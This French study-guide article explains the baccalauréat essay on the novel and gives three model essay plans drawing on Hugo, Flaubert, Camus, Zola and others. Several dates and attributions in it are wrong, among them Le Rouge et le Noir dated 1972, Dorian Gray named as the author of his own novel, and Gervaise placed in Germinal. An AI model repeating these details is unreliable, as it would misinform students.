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La dissertation sur le roman expliquée en quelques exemples de plans
- Ines Jacques
- 12 Fév 2024
Au sommaire de cet article 👀
Tu prépares le baccalauréat de français 2024 ? Nous ne t’avons pas oublié(e) ! Dans ce nouvel article, nous faisons le point avec toi sur la dissertation et plus précisément sur celles qui portent sur le roman. Pour que tu y aies une idée précise de ce qui est attendu de toi le jour de l’épreuve, nous te donnons des exemples de plans. C’est le moment de prendre quelques petites notes, si tu souhaites briller de mille feux lors de l’épreuve écrite de français.
Eh oui, il est important que tu saches comment te comporter face à une dissertation. L’impasse est interdite sur cette épreuve coefficient 5 ! Bien souvent les candidats sont effrayés par la dissertation, qu’ils pensent plus compliquée que le commentaire de texte… à tort. La dissertation est avant tout une histoire de méthode.
Alors, ne fais pas l’impasse sur tes révisions de dissertation. On ne sait jamais, le jour de l’examen, tu seras beaucoup plus inspiré(e) par l’un des deux sujets de dissertation ! Auquel cas, impossible de te tirer une balle dans le pied en choisissant le commentaire de texte par dépit. C’est pourquoi le team Au Futur vient à ta rescousse !
Comment réussir sa dissertation sur le roman ? C’est la question à laquelle nous allons tenter de répondre ! Lors de l’épreuve écrite du baccalauréat de français, la dissertation est souvent une grande source d’angoisse et d’appréhension chez les candidats. Et pourtant, une bonne dissertation n’est qu’une affaire de méthode et d’entraînement. Tu trouveras ci-dessous trois exemples de plans de dissertation sur le roman afin de faire de toi un(e) véritable professionnel(le) de cet exercice !
La dissertation sur le roman : quelques conseils méthodologiques
Comme un grand nombre d’exercices en français, la dissertation répond à différentes règles. Pour rédiger une (très !) bonne dissertation le jour de l’épreuve, nous te conseillons de prendre en compte les quelques conseils ci-dessous :
- Surligner les mots-clés avec un code couleur.
- Noter , pour chaque mot-clé, tout ce à quoi ça nous fait penser (faire des rappels avec le code couleur) : en donner une définition (dans le contexte), des exemples, des synonymes, des antonymes, etc. En bref, tout ce qui te vient à l’esprit (ça peut toujours servir !).
- Mettre en relation les termes et voir ce que ça donne : les points qui se recoupent, les divergences, les questions soulevées, etc. De cette mise en relation des termes doivent apparaître les paradoxes.
- Bien penser à donner des exemples pour chaque argument et citer les exemples pour appuyer l’argumentation.
L’introduction de la dissertation sur le roman
L’introduction est très importante dans une dissertation, car c’est ce par quoi va commencer le correcteur. Une bonne introduction annonce un bon devoir (et c’est exactement l’impression que tu veux donner à ton correcteur, non ?).
La structure de l’introduction
La structure de l’introduction suit une certaine logique, que tu retrouveras ci-dessous :
- Lorsque c’est possible, ne pas hésiter à démarrer ton introduction avec une accroche qui présentera les différents éléments de l’argumentation (exemple : dans une dissertation sur l’héroïsme du héros de roman, une accroche sur Quasimodo, le héros du roman Notre-Dame de Paris de Victor Hugo, permet de remettre en question l’idée de l’héroïsme et de la beauté du héros de roman).
- Énoncer le sujet tel qu’il est donné.
- Définir les mots-clés du sujet (être concis) en en donnant différents sens. Les mettre rapidement en relation pour faire émerger le(s) paradoxe(s).
Les deux derniers points de l’introduction doivent être dédiés à l’annonce de la problématique et du plan de la dissertation.
La structure de la dissertation
I. La réponse la plus évidente à la question / affirmation posée, ce que l’on répondrait instinctivement et qui peut être appuyé par des éléments que l’on a notés sur le brouillon.
II. Le(s) paradoxe(s) , les éléments qui posent problème, il peut être intéressant de rebondir sur les premiers arguments avancés en première partie pour adopter un autre point de vue et mettre en évidence leur aspect problématique et les paradoxes soulevés. Ne pas se contredire tout de même.
III. Essayer de dépasser le(s) paradoxe(s) donnés en deuxième partie, ne pas rester bloqué(e) dans une impasse. Plusieurs possibilités s’offrent à toi : développer, sur un sens secondaire, un terme clé pour adopter un autre filtre d’analyse, étudier la position d’un acteur secondaire dans l’énoncé, jouer sur le pluriel/singulier etc. Une partie en général très personnelle, faite sur mesure par rapport à l’objet d’étude et au sujet qui rédige l’analyse.
La structure de chaque partie
I. L’argument résumé en une ou deux phrases.
II. Développement de l’argumentation.
III. Appui de l’argument grâce à un exemple et une/des citations
IV. Une petite phrase conclusive sur l’argument développé et sur l’exemple pris.
Remarques plus spécifiques : bien penser à s’aider des différents sens des mots clefs pour avancer dans l’argumentation et la structurer, utiliser des mots de liaison (quelques exemples : tout d’abord, ensuite, enfin, toutefois, cependant, en revanche, de plus, de même, etc.) afin de structurer la dissertation, d’être bien clair et rigoureux dans la démonstration.
Nous avons choisi ces trois sujets de dissertation sur le roman, car ils traitent de trois éléments majeurs en littérature romanesque : le romancier, le personnage de roman et le lecteur.
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Sujet de dissertation : Pour apprécier un roman, le lecteur doit-il s’identifier au personnage principal et partager ses sentiments ?
En premier lieu, nous te conseillons de faire une analyse rapide des mots-clés de ton sujet.
Apprécier : estimer quelque chose, lui reconnaître une valeur et des qualités, aimer, goûter, juger de la valeur de quelqu’un ou de quelque chose (apprécier des meubles différemment) et évaluer approximativement une chose mesurable (apprécier une distance).
Antonyme : ne pas aimer, détester.
Roman : ici fais surtout référence à l’objet matériel, au livre que l’on a en main. Une œuvre romanesque (exemple : Notre-Dame de Paris , Victor Hugo), caractérisée par un récit, une narration avec des personnages et une ou plusieurs intrigues. Dans le cadre d’une dissertation sur le roman, il est primordial de savoir précisément à quoi renvoie le terme roman.
Lecteur : l’acteur du pôle de la lecture, celui qui fait d’une certaine manière face à l’écrivain par le biais du livre. L’acteur qui a accès à l’œuvre écrite, qui rencontre dans la lecture les personnages et leurs histoires.
S’identifier : d evenir identique à une autre personne ou chose, adhérer à une idée ou chose (s’identifier à un groupe), chercher à ressembler à une autre personne et penser être identique (s’identifier à ses parents).
Antonyme : se sentir différent, se différencier.
Personnage principal : le protagoniste du roman, le personnage central de l’œuvre que le lecteur rencontre le plus dans la lecture. C’est en général le personnage sur lequel le lecteur a le plus d’informations et dont on connaît les actions, les états d’âme et les émotions.
Partager : posséder quelque chose avec une ou plusieurs personnes (partager le pouvoir), diviser quelque chose en plusieurs parties (partager un gâteau) et les répartir entre plusieurs acteurs. Deux types de relation : d’union ou de division.
Sentiments : état affectif complexe et durable lié à des émotions ou des représentations, le sentiment amoureux en littérature, un penchant bon ou mauvais (les sentiments nobles), un opinion ou avis sur quelque chose (partagez-vous mon sentiment à ce sujet ?), une connaissance plus ou moins claire et immédiate (j’ai le sentiment que…). À la fois émotionnel, irraisonné et raisonnable, interne au sujet. Va avec la notion de partage.
Ensuite, tu peux t’interroger sur les notions que nous avons vues un peu plus haut :
Évidence : dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.
Paradoxes : cependant, le raisonnement à l’œuvre lors de l’appréciation d’une œuvre implique-t-il toujours une identification émotionnelle au protagoniste? De plus, les personnages principaux étant complexes et divers, peut-on toujours partager leurs sentiments? De manière générale, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal ?
Dépassement des paradoxes : finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.
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Le plan de la dissertation
I. Dans la mesure où le lecteur accède au roman à travers ses personnages, et notamment son personnage principal, et où il s’investit émotionnellement dans le récit grâce aux expériences, émotions et pensées du protagoniste, nous pouvons affirmer que le lecteur doit s’identifier au personnage principal et partager ses sentiments pour apprécier un roman.
I.1. La première rencontre du lecteur avec l’œuvre est sentimentale : il lui faut donc s’identifier au personnage principal et partager ses sentiments s’il veut accrocher avec l’œuvre. Exemple : Aurélien, Aragon. Le protagoniste, aussi narrateur personnage du roman, a des sentiments et des émotions très fortes que le lecteur ressent et partage. C’est notamment le cas pour les sentiments amoureux qu’il voue à Bérénice. Le fait qu’ils soient largement exprimés dans le texte permet au lecteur de s’identifier au personnage, de se sentir proche de lui et d’entrer dans un œuvre qu’il apprécie.
I.2. Le sens “aimer” du verbe apprécier : pour aimer une œuvre, le lecteur doit pouvoir s’identifier au personnage principal, se sentir proche de lui et l’aimer donc partager ses sentiments. Exemple : le personnage de Quasimodo dans Notre-Dame de Paris de Victor Hugo. La puissance des sentiments de Quasimodo, montrés par une narration aux registres pathétique et épique et par l’alternance entre la focalisation interne et externe, touche le lecteur et malgré la difformité caractéristique du personnage (bossu) il s’identifie à celui-ci. Le lecteur se sent proche de Quasimodo lorsqu’il observe Esmeralda avec admiration et douceur, lorsqu’il la sauve de la pendaison et la cache dans la cathédrale de Notre-Dame de Paris alors qu’il est repoussé par celle qu’il aime, lorsqu’il la cherche partout dans la nuit où elle sera pendue et assiste impuissant à sa mort… La force de ses sentiments, tant heureux que tristes, touche le lecteur et crée un lien entre le personnage et lui. Le lecteur apprécie le roman parce qu’il aime Quasimodo et se sent émotionnellement proche de lui.
I.3. La distance entre le lecteur et l’œuvre : il est nécessaire pour pouvoir totalement entrer dans l’histoire de s’identifier au personnage principal, d’être proche de lui. Cela va avec le premier sens du verbe “s’identifier”, devenir identique. Exemple : Le Rouge et le Noir , Stendhal (1972). Le lecteur actuel, qui n’a pas connu l’époque dans laquelle a lieu la narration, entre dans l’histoire en partie grâce à son identification au personnage de Julien Sorel. Ce jeune homme, amoureux d’une femme plus âgée qui semble inaccessible, touche le lecteur par la force et la jeunesse de ses sentiments. L’amour et le désir étant des sentiments communs à tous les êtres humains, le lecteur s’identifie évidemment au personnage principal. C’est ce qui lui permet d’entrer dans le récit, dans l’intrigue.
II. Cependant, peut-on vraiment réduire l’appréciation d’une œuvre à l’identification sentimentale du lecteur au personnage principal et au partage des mêmes sentiments ?
II.1. Le second sens du verbe apprécier : la raison est aussi importante dans l’appréciation d’une œuvre, dans son évaluation. L’aspect sentimental n’est pas nécessaire pour évaluer une œuvre. Exemple : Jacques le Fataliste et son maître , Diderot (1973). Dans le cadre d’une appréciation définie comme jugement, la complexité technique du roman est le critère d’évaluation. Le lecteur apprécie ce roman, car il est d’une complexité intrigante et intéressante. Il le juge bon, car raisonnablement, c’est une prouesse technique. Dans ce cas, la raison est suffisante pour apprécier un roman.
II.2. La différence de caractère entre le lecteur et le personnage principal du roman peut engendrer la curiosité du lecteur : il n’est pas toujours nécessaire de s’identifier au personnage principal pour apprécier une œuvre. Exemple : L’étranger de Camus. Le personnage principal de ce roman, antipathique et perturbant pour le lecteur, le surprend et va être une source de curiosité. Cette originalité de l’œuvre va être le critère d’appréciation du lecteur. Il n’a parfois pas besoin de s’identifier au personnage principal ou de partager ses sentiments pour apprécier un roman.
II.3 . La figure de l’anti-héros qui ressent des sentiments destinés à choquer et à dégoûter le lecteur, donc à piquer sa curiosité : partager les sentiments du personnage principal n’est pas toujours obligatoire pour apprécier une œuvre. Exemple : Les Bienveillantes, Jonathan Littell. Le personnage principal prend du plaisir en observant une exécution et est acteur dans le processus d’extermination des juifs par les nazis. Il apparaît détestable aux yeux du lecteur, ses actions et pensées le choquent. Dans ces cas-là, le dégoût est la source d’intérêt du lecteur. Il ne s’identifie pas au personnage principal ni ne partage ses sentiments, le dégoût et le mépris qu’il lui porte sont ce qui lui font apprécier le roman.
III. Finalement, peut-être que la clef de l’appréciation émotionnelle d’une œuvre est la tentative d’identification du lecteur au personnage principal et de partage des sentiments. C’est une démarche qui semble automatique de la part du lecteur, un effort constant.
III.1. La différence de caractère entre le personnage principal et le lecteur engendre un désir de compréhension de la part du second acteur : même lorsque le personnage principal présente de nombreuses différences avec le lecteur, la démarche la plus naturelle de la part de celui-ci est le désir de compréhension. Le lecteur essaye constamment de comprendre le personnage de roman, c’est une manière de s’identifier à lui, car il tente de se mettre à sa place. Et c’est une démarche qui suscite l’appréciation du lecteur. Exemple : Madame Bovary , Flaubert. Le personnage principal est une femme qui, épouse d’un officier de santé et vivant en pleine campagne, rêve d’une vie noble et trépidante très loin de ce cadre de vie. Ses rêveries constantes, inspirées des romans à l’eau de rose, en font un personnage très particulier. Néanmoins, le lecteur va instinctivement tenter de comprendre pourquoi elle prend des amants et pourquoi elle s’échappe dans un monde imaginaire où elle se rêve en princesse de Cour. Malgré la différence de caractère entre le personnage principal et le lecteur, cette démarche de compréhension permet l’appréciation de l’œuvre.
III.2. Tout sentiment du personnage principal peut essayer d’être compris par le lecteur : partager les sentiments du personnage principal de manière immédiate n’est pas toujours nécessaire pour apprécier un roman, la tentative de compréhension est une autre voie d’appréciation des œuvres. Naturellement, le lecteur va tenter de comprendre les raisons qui poussent le personnage à avoir des sentiments qu’il ne partage pas. Il se met dans la peau du personnage et peut parfois parvenir à partager des sentiments qui lui étaient extérieurs dans un premier temps. Exemple : Notre-Dame de Paris , Victor Hugo . Le personnage de Claude Frollo, dont l’attitude par rapport à Esmeralda est très violente et inconstante, présente de grandes différences de caractère avec un lecteur lambda. Celui-ci peut avoir des difficultés à comprendre pourquoi Claude sabote les interventions publiques d’Esmeralda et organise la mise à mort de celle qu’il aime. Mais ce qui va permettre au lecteur d’apprécier l’œuvre est sa démarche de tentative de compréhension des actions de Claude : ce personnage frustré, rongé par le désir et possessif, fait tout pour ne pas céder à ses pulsions et contrôler la situation. Face à une femme qui l’attire et qui repousse ses avances, il l’éloigne et fait en sorte que personne d’autre que lui ne l’ait. Cette compréhension acquise, le lecteur apprécie le roman.
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La conclusion
Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse.
Les éléments à évoquer : pour aimer une œuvre, il semble tout d’abord évident que le lecteur doive s’identifier au personnage principal et partager ses sentiments. C’est une manière d’entrer dans l’œuvre, d’accrocher avec elle. Cependant, l’appréciation d’une œuvre par le lecteur ne nécessite pas toujours de satisfaire ces critères. La raison et la curiosité suscitée par la différence sont d’autres critères d’appréciation d’une œuvre. Enfin, ce qui compte peut-être le plus pour l’appréciation d’une œuvre est la démarche de tentative de compréhension, d’identification et de partage des sentiments du personnage principal de la part du lecteur.
Sujet de dissertation : Le roman doit-il toujours représenter le monde tel qu’il est ?
Roman : tant l’objet matériel (le livre) que le genre romanesque. Comme dit précédemment, dans le cadre d’une dissertation sur le roman, il est primordial de définir ce terme.
Doit : le verbe devoir, une obligation, un devoir, une convention ou un sentiment de devoir.
Toujours : sans cesse, sans exception.
Représenter … tel qu’il est : dessiner à l’identique, re-présenter = présenter de nouveau donc recréer, redessiner.
Monde : le monde réel, l’espace dans lequel l’humanité vit. Ce qui nous entoure, tant la Terre que le cosmos.
Évidence : dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons,il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.
Paradoxes : cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le “poète dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.
Dépassement des paradoxes : finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.
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I. Dans le sens où le roman est par nature fictif, c’est-à-dire un lieu d’invention et de création d’un monde à partir de ce que nous connaissons, il semble difficile d’affirmer que le roman doit toujours représenter le monde tel qu’il est. Il façonne un monde nouveau né de ses expériences, connaissances et idées.
I.1. La nature fictive du roman : le genre romanesque est caractérisé par la fiction narratologique donc par la création d’une version “fausse” du monde qui nous entoure. Par nature, le roman ne doit donc pas représenter le monde tel qu’il est. C’est un exercice de style. Exemple : Flaubert, extrait de sa lettre à Louise Colet (16 janvier 1852) : “ce que je voudrais faire, c’est un livre sur rien, un livre sans attache extérieure, qui se tiendrait de lui-même par la force de son style.”
I.2. La grande part d’invention dans le travail d’écriture d’un roman, le verbe re-présenter : l’écriture d’un roman implique une grande part d’invention de la part du romancier, il crée un univers fictif tant à partir de ses expériences réelles que de ses idées. Les romanciers revendiquent ceci, c’est une démarche caractéristique de l’écriture romanesque. Le roman ne doit donc pas, par nature, toujours représente le monde tel qu’il est. Exemple : Fiction et diction , Gérard Genette. Ce spécialiste du roman insiste sur son caractère fictionnel.
I.3. La liberté des romanciers dans le choix de la part de fiction et de réalité : les romanciers revendiquent une certaine liberté quant à leur travail d’écriture, ils sont libres de choisir la part de fiction dans l’élaboration du monde fictif. Le devoir de toujours représenter le monde tel qu’il est est plutôt celui de l’historien. Exemple : La fiction et les faits , Antony Beevor. Il distingue le romancier et l’historien par le recours à la fiction ou aux faits.
II. Cependant, une écriture déconnectée du monde présente le risque de ne plus le représenter du tout. Le romancier “dans sa tour d’ivoire” qui représente un monde trop inconnu pour le lecteur prend le risque de ne plus réussir à communiquer avec son lecteur.
II.1. La difficulté de lecture et de compréhension d’un roman qui représente un monde très différent du lecteur : une œuvre qui représente un monde totalement inconnu, abstrait et parfois absurde pour le lecteur présente des difficultés de lecture et risque d’être incomprise par le lecteur. Un écart trop grand entre le monde réel et la manière dont il est représenté dans le roman peut ainsi engendrer une œuvre qui ne représente rien pour le lecteur. Exemple : critiques faites au surréalime et au symbolisme, et à des auteurs comme André Breton ou Mallarmé. Leurs œuvres sont qualifiées d’hermétiques, donc incompréhensibles et illisibles (exemple : Nadja, Breton).
II.2. Le risque d’une écriture élitiste, hautaine, car déconnectée du monde réel : un reproche possible à un roman qui ne représente pas le monde tel qu’il est sa déconnexion avec la réalité du peuple. C’est le reproche qui est fait au “poète dans sa tour d’ivoire” qui surplombe le monde, la réalité quotidienne et ne représente pas le monde dans ses œuvres. Exemple : Théophile Gautier revendique cette position dans la préface d’ Albertus (1852), “L’auteur du présent livre n’a vu du monde que ce que l’on voit par la fenêtre, et il n’a pas envie d’en voir davantage.”
III. Finalement, afin de représenter au mieux le monde et de transmettre quelque chose au lecteur, le roman doit peut-être associer le réalisme, la représentation telle quelle et la fiction ; et choisir le bon moment pour adopter un style ou un autre.
III.1. Bien répartir la part de fiction et de représentation du monde tel quel afin de donner plus de vraisemblance au roman. Parfois, mélanger la représentation du monde et l’élaboration fictionnelle peut donner plus de réalité au monde représenté. La fiction comme complément du réel, lorsqu’elle est bien dosée, donne de la vraisemblance au monde du roman. Exemple : Notre-Dame de Paris , Victor Hugo (1831) : la représentation de la Cour des Miracles dans le chapitre de “La Cruche Cassée”. Cet espace, peuplé par des brigands et des éclopés, est une légende parisienne. Les livres historiques disent qu’elle a existé, mais elle n’apparaît sur aucune carte topographique de Paris de l’époque. Or Victor Hugo en fait un espace central du roman, perdu au milieu des ruelles, fantastique, effrayant et parodique. Il lui donne une réalité dans le roman. Et ceci donne un caractère vraisemblable au Paris représenté dans la narration.
III.2. Choisir le bon moment pour représenter le monde tel quel ou au contraire avoir recours à la fiction : afin de représenter au mieux le monde et de lui donner un caractère réel et vraisemblable dans le récit, l’auteur doit choisir sa posture selon le moment. Exemple : Notre-Dame de Paris , Victor Hugo (1831). De nombreux éléments sont des faits historiques, mais ces éléments côtoient les élaborations fictionnelles. Victor Hugo choisit avec ingéniosité quand représenter le monde tel qu’il est et avoir recours à la fiction. Par exemple, les chapitres centrés sur l’architecture de Paris (“Paris à vol d’oiseau”, “Notre-Dame de Paris”) décrivent presque historiquement le monde représenté. Les détails architecturaux sont nombreux et il peint le Paris de son époque. Mais d’autres chapitres plus fictionnels quant au monde (L’élection de Quasimodo comme pape des fous au Livre I par exemple) nous ramènent à la définition même du roman et aux intrigues du roman. La scène où Quasimodo est élu enrichit le personnage principal du roman, annonce son importance future autant qu’elle présente une tradition du peuple de Paris. Ce passage donne de la vraisemblance au roman et fait avancer l’intrigue. Victor Hugo, en alternant entre la représentation réelle du monde et l’élaboration fictionnelle, construit un monde vraisemblable et convaincant pour le lecteur.
Les points à aborder : par nature, le roman ne tend pas à toujours représenter le monde tel qu’il est. Pourtant, une distance trop grande entre le monde et la représentation romanesque peut comporter des risques tels que l’incompréhension et le reproche d’orgueil. Finalement, le roman doit peut-être associer la représentation calquée du monde et la fiction pour créer un monde vraisemblable et convaincant.
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Sujet de dissertation : Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès à la complexité de l’âme humaine ?
Attention : les sujets de dissertation sur le roman du type “dans quelle mesure” sont spécifiques et n’appellent pas une réponse du type oui / non. La manière la plus facile de traiter ce type de sujet est de structurer le plan avec les différents sens de “dans quelle mesure” : Comment ? À quel point ? Dans quelles conditions ? (le sens des questions peut être inversé pour traiter au mieux le sujet)
Personnage de roman : le personnage créé par l’auteur au sein de son roman, le protagoniste du roman.
Donne … un accès : donne au lecteur une voie d’accès à quelque chose, un filtre de compréhension de quelque chose.
Lecteur : l’acteur du pôle de la lecture, celui qui lit l’œuvre.
Complexité de l’âme humaine : l e caractère complexe de l’âme humaine, ce qui la rend difficile à saisir et à rendre. La complexité va avec la diversité, l’entrelacement de différents éléments et la difficulté d’intelligibilité.
Comment : dans la mesure où le personnage de roman est un être humain dont les pensées, les sentiments et les émotions parfois contradictoires sont donnés au lecteur, il donne un accès à la complexité de l’âme humaine à celui qui lit. Le recours au narrateur personnage, aux différents types de discours et à la description sont des moyens littéraires majeurs pour donner au lecteur un accès à la complexité de l’âme humaine.
À quel point : Il faut néanmoins nuancer l’affirmation catégorique selon laquelle le personnage de roman donnerait au lecteur un accès à la complexité de l’âme humaine. Les personnages de romans archétypiques sans réelle profondeur ainsi que ceux dont on ne connaît que très peu de choses ne donnent pas réellement au lecteur un accès à la complexité de l’âme humaine. Il y a une mesure à ce processus.
Dans quelles conditions : afin de dépasser cette impasse, nous pouvons nous demander quels personnages de romans donnent un accès à la complexité de l’âme humaine. (Une typologie est toujours appréciée dans une dissertation).
I. Quels sont les moyens utilisés pour que le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?
I.1. Le narrateur personnage : la focalisation interne donne au lecteur un accès aux pensées, réflexions et émotions du personnage de roman. Étant généralement un personnage complexe en proie à des doutes, des émotions contradictoires ou des pensées problématiques, son âme reflète la complexité de l’âme humaine. Y avoir accès nous donne donc un accès à la complexité de l’âme humaine. Exemple : Les Années , Annie Ernaux (2008). Le narrateur personnage représenté par le pronom “on” (autobiographie déguisée d’Annie Ernaux) raconte sa vie de femme dans les années 1960 en évoquant des émotions fortes et contrastées. Le fait qu’Annie Ernaux raconte ses expériences, émotions et épreuves à la première personne du pluriel nous donne accès à la complexité de son âme, et donc à la complexité de l’âme humaine.
I.2. Le flux de conscience : ce procédé littéraire qui consiste à inscrire dans le texte le flux de pensées d’un personnage sans le structurer, laissant l’âme s’exprimer librement, reflète parfaitement la manière complexe dont fonctionne le flux de pensées des hommes. Ce type de discours permet au personnage de roman de donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Mrs Dalloway, Virginia Woolf (1925). Ce roman, caractérisé par le récit à la première personne et le flux de conscience de Mrs Dalloway (narratrice), offre au lecteur un accès à la complexité de l’âme humaine à travers son personnage principal. Ses perpétuelles hésitations, digressions et évolutions, données grâce au procédé d flux de conscience, reflètent le fonctionnement de l’être humain. De même que Mrs Dalloway, nos pensées et décisions s’entremêlent à chaque instant.
I.3. Le portrait détaillé : la construction détaillée du portrait d’un personnage de roman donne un accès à la complexité de l’âme humaine. Le portrait détaillé d’un personnage est une description dans laquelle apparaissent l’histoire complexe de sa vie, ses sentiments vis-à-vis de son entourage et du monde ou même ses idées dans divers domaines comme la manière de vivre, la philosophie ou la société. Ce portrait pourrait tout à fait être celui d’un homme ou d’une femme du monde réel que l’on connaît. Ce portrait, applicable tant au personnage de roman qu’à l’homme réel, est donc un moyen littéraire essentiel pour donner au lecteur un accès à la complexité de l’âme humaine. Exemple : Le personnage de Claude Frollo dans Notre-Dame de Paris de Victor Hugo. C’est un archidiacre pour qui le respect des lois morales et religieuses est essentiel. Il est bon avec son frère et Quasimodo, enfant abandonné qu’il a adopté. Mais il est aussi rongé par le désir et la jalousie, ce qui l’amène à maltraiter Esmeralda (dont il est amoureux), à tenter de tuer le chevalier Phoebus (par jalousie) et à prendre ses distances par rapport à son protégé Quasimodo. Son trouble est intense, comme le montre le chapitre où il déambule dans Paris et ne fait que tourner en rond. Le portrait très complet qui en est donné donne au lecteur un accès à la complexité de l’âme humaine.
II. À quel point le personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?
II.1. Les personnages de romans archétypiques construits dans une réelle profondeur, existent par leur apparence et non par la complexité de leur âme : parfois, les auteurs choisissent de construire de personnages archétypiques afin qu’ils représentent une certaine classe sociale, une attitude ou un type de personnes de la société. Ces personnages sont caractérisés par une existence apparente et des traits forcés. L’auteur leur donne peu de profondeur. Leur rôle n’est pas de donner un accès à la complexité de l’âme humaine, mais bien de représenter artificiellement un type de personnes. Exemple : L’éducation sentimentale , Flaubert. Le personnage principal est le héros romantique par excellence, tant par son physique que par son caractère sensible et ses activités préférées (la contemplation, l’observation). Il est l’archétype du héros romantique. La scène où les deux amants sont sur une barque et entonnent des vers est une caricature de l’entretien amoureux. La fonction de ce personnage n’est donc pas de donner accès à la complexité de l’âme humaine, il représente un genre dans le cadre d’une caricature.
II.2. Le narrateur omniscient et les descriptions peu détaillées associés au personnage de roman ne permettent pas au lecteur d’avoir un accès à la complexité de l’âme humaine : le discours peut instaurer une distance entre le personnage de roman et le lecteur, ce qui complique l’accès à la complexité de l’âme humaine. Les outils majeurs de cette mise à distance sont le narrateur omniscient et les descriptions très superficielles. Exemple : Le personnage de Bérénice dans Aurélien , d’Aragon. Ce personnage féminin est présenté au lecteur par le biais du regard d’Aurélien, nous ne connaissons pas ses pensées et Aurélien en donne des descriptions principalement corporelles. Sans une focalisation interne de Bérénice et des descriptions développées de ses états d’âme, ce personnage ne permet pas au lecteur de saisir pas la complexité de l’âme humaine.
III. Finalement dans cette dissertation, quel personnage de roman donne au lecteur un accès à la complexité de l’âme humaine ?
III.1. Le personnage de roman torturé par des sentiments forts et contradictoires : ce type de personnage donne au lecteur un accès à la complexité de l’âme humaine, car les sentiments contradictoires qui le traversent sont aussi ceux du lecteur. Cette situation de trouble peut aussi bien toucher le personnage que le lecteur. Exemple : Le personnage masculin du chevalier des Grieux dans Manon Lescaut, de l’Abbé Prévost. Ce personnage est amoureux de Manon Lescaut, une jeune femme inconstante qui après avoir vécu une histoire d’amour avec le jeune homme va le tromper, le quitter et lui demander de l’argent. Celui-ci, tiraillé entre l’amour qu’il lui porte et la méfiance, la rancœur et la douleur, est sujet à des fortes émotions contradictoires. Les moments où il lui déclare un amour inconditionnel côtoient ceux où il affirme la détester. Or cette cohabitation de l’amour et de la haine est caractéristique de l’être humain amoureux tantôt approuvé, tantôt repoussé par celle qu’il aime. Ce personnage torturé donne donc accès à la complexité des sentiments humains.
III.2. Le personnage de roman vraisemblable : un personnage de roman qui ressemble aux êtres humains dans son fonctionnement, ses actions et ses sentiments donne accès à la complexité de l’âme humaine, car il en est le reflet. Sa grande ressemblance avec le genre humain en fait un personnage particulièrement efficace dans l’accès à une âme humaine complexe. Exemple : Germinal , Zola (roman réaliste). Les personnages de ce roman (Gervaise, son fils et les mineurs principalement) sont représentatifs de la vie liée à la lutte des classes. Leurs états d’âme, leurs actions ainsi que leurs décisions sont les reflets du genre humain dans le cadre d’une situation d’affrontement des différentes classes sociales.
III.3. L’anti-héros : l’anti-héros, de prime abord très différent du lecteur, peut aussi lui donner un accès à la complexité de l’âme humaine, car il représente la face cachée de l’homme. Cette face, que tous les êtres humains connaissent sans vouloir y penser, est ce qui fait que l’homme est homme. La cohabitation de qualités et de défauts constitue la complexité de l’âme humaine. Ainsi, un anti-héros laid, mauvais, avare ou arrogant donne au lecteur un accès à la face sombre de l’homme. Exemple : Le portrait de Dorian Gray, Dorian Gray. Le personnage principal de ce roman, rongé par le désir de pouvoir et de beauté, va devenir cruel et indifférent à ceux qui l’entourent. Cet égoïsme extrême, cette soif de pouvoir et de perfection sont des traits sombres de l’humain. Ce personnage, par son renoncement à la morale et sa chute dans la recherche de la perfection, reflète la tentation de la noirceur, de l’immoralité et de l’égoïsme chez l’homme. Il donne accès à la face cachée de l’humanité, donc à sa complexité.
Lire aussi : Les mouvements littéraires et leurs caractéristiques
Revenir chronologiquement sur les éléments majeurs de l’analyse de la dissertation sur le roman. Si possible, terminer avec une ouverture sur une possibilité non explorée dans l’analyse de la dissertation sur le roman.
Les éléments à évoquer : d ans les cas où le personnage de roman est narrateur personnage, où ses pensées sont données telles quelles et où son portrait est très détaillé ; il donne au lecteur un accès à la complexité de l’âme humaine. Toutefois, il y a des limites à ce processus. Les personnages de romans typiques ou ceux dont le portrait peu détaillé est donné par un narrateur omniscient ne donnent pas forcément cette chance au lecteur. Finalement, une typologie du type de personnage de roman qui donne accès à la complexité de l’âme humaine donne une idée plus précise de la fonction de ce personnage. Le personnage de roman torturé, le personnage vraisemblable et l’anti-héros sont trois types de personnages qui donnent cet accès à la complexité humaine.
En plus de réussir une bonne dissertation sur le roman, grâce à cette fiche que tu viens de lire attentivement, nous t’invitons à découvrir nos conseils pour avoir 20/20 au baccalauréat de français !
Conseils pour réussir ta dissertation au baccalauréat de français
Parce que toute l’équipe Au Futur souhaite que tu réussisses avec brio l’épreuve de la dissertation de français, voici quelques conseils que tu peux précieusement adopter pour avoir une méthodologie efficace :
Faire un brouillon de qualité
On te conseille évidemment de faire un brouillon avant de commencer directement ta rédaction au propre. Pour faire un brouillon efficace, on a une technique infaillible : consacrer une feuille de brouillon par partie puis écrire uniquement sur le recto. Avec cette technique, tu as une vue d’ensemble sur tes idées.
Ne pas relire ta copie à la fin !
